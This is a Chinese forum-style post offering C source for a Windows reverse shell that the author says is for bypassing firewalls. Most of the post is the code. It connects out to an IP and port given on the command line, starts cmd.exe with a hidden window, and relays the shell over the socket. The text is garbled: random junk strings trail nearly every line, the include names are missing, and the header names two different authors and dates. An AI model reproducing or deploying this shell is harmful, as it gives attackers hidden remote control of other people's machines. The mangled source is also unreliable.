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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q)z8PQl O  
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/* ============================== RY*U"G0#w  
Rebound port in Windows NT qb` \)X]9  
By wind,2006/7 f'3$9x  
===============================*/ VgS_s k  
#include rk)`\=No  
#include ,wdD8ZT'Ip  
h3@v+Z<}  
#pragma comment(lib,"wsock32.lib") HiJE}V;Vq  
P}`H ~N~  
void OutputShell(); 7i1q wRv  
SOCKET sClient; J!7MZL b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |IUWF%~^$+  
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void main(int argc,char **argv) O!bOp=  
{ 5.J.RE"M  
WSADATA stWsaData; ]:/Q]n^  
int nRet; mUx+Y]Ep  
SOCKADDR_IN stSaiClient,stSaiServer; *s iFj CN<  
R,=fv   
if(argc != 3) iMRwp+$  
{ '(jG[ry&T  
printf("Useage:\n\rRebound DestIP DestPort\n"); Lbb0_-']  
return; QnX(V[  
} *EwR!L*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); VTHH&$ZNq  
s=/v';5J2!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n>U5R_T  
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stSaiClient.sin_family = AF_INET; 4]}'Hln*U  
stSaiClient.sin_port = htons(0); H~z`]5CN  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 42ivT_H  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i8HTzv"J  
{ 8Kk(8a&v  
printf("Bind Socket Failed!\n"); DrK{}uM  
return; y Fq&8 x<X  
} ;@E$}*3[>V  
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stSaiServer.sin_family = AF_INET; URbletSBQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x# 5A(g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >t_6B~x9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F`]2O:[  
{ _ZkI)o  
printf("Connect Error!"); Y% 5eZ=z  
return; ZO$%[ftb  
} [Cv/{f3]u{  
OutputShell(); I?G :p+  
} r1RM  
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void OutputShell() R<N ]B  
{ |*tp16+6  
char szBuff[1024]; }txX; "/  
SECURITY_ATTRIBUTES stSecurityAttributes; Aj]V`B:65  
OSVERSIONINFO stOsversionInfo; FH+s s!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \v)+.m?n  
STARTUPINFO stStartupInfo; gCY';\f!  
char *szShell; "kgdbAZ  
PROCESS_INFORMATION stProcessInformation; [QT#Yf0  
unsigned long lBytesRead; TBU&6M>{3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L4y4RG/SJ:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k7usMVAA  
stSecurityAttributes.lpSecurityDescriptor = 0; a-L;*  
stSecurityAttributes.bInheritHandle = TRUE; *,WU?tl&  
fIv*T[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L8#5*8W6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !f&g-V  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G {%LB}2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b(O3@Q6[  
stStartupInfo.wShowWindow = SW_HIDE; y:qUn!3  
stStartupInfo.hStdInput = hReadPipe; 7o5BXF  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V[vl!XM  
s#=7IH30  
GetVersionEx(&stOsversionInfo); O#S.n#{  
Pw!MS5=r  
switch(stOsversionInfo.dwPlatformId) ChXq4]  
{ #" iu| D  
case 1:  p|D/;Mk  
szShell = "command.com"; 9|CN8x-  
break; H\tUpan6fy  
default: Pce;r*9  
szShell = "cmd.exe"; i9][N5\$  
break; t"/q]G5  
} U2s /2 [.  
G,Azm }+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K?$^@ N  
* *G9H  
send(sClient,szMsg,77,0); {8,J@9NU  
while(1) Y#$%iF  
{ B%+T2=&$7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IG9VdDj  
if(lBytesRead) ur7q [n  
{ ut/=R !(K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =D#bb <o  
send(sClient,szBuff,lBytesRead,0); =xx]@  
} rFYWs6  
else gn".u!9j  
{ ly3\e_z:G  
lBytesRead=recv(sClient,szBuff,1024,0); HcSXsF  
if(lBytesRead<=0) break; Y,t={HiclX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,0HRAmG  
} F,)%?<!I  
} j*TYoH1  
__GqQUQ  
return; VUR|OV%  
}
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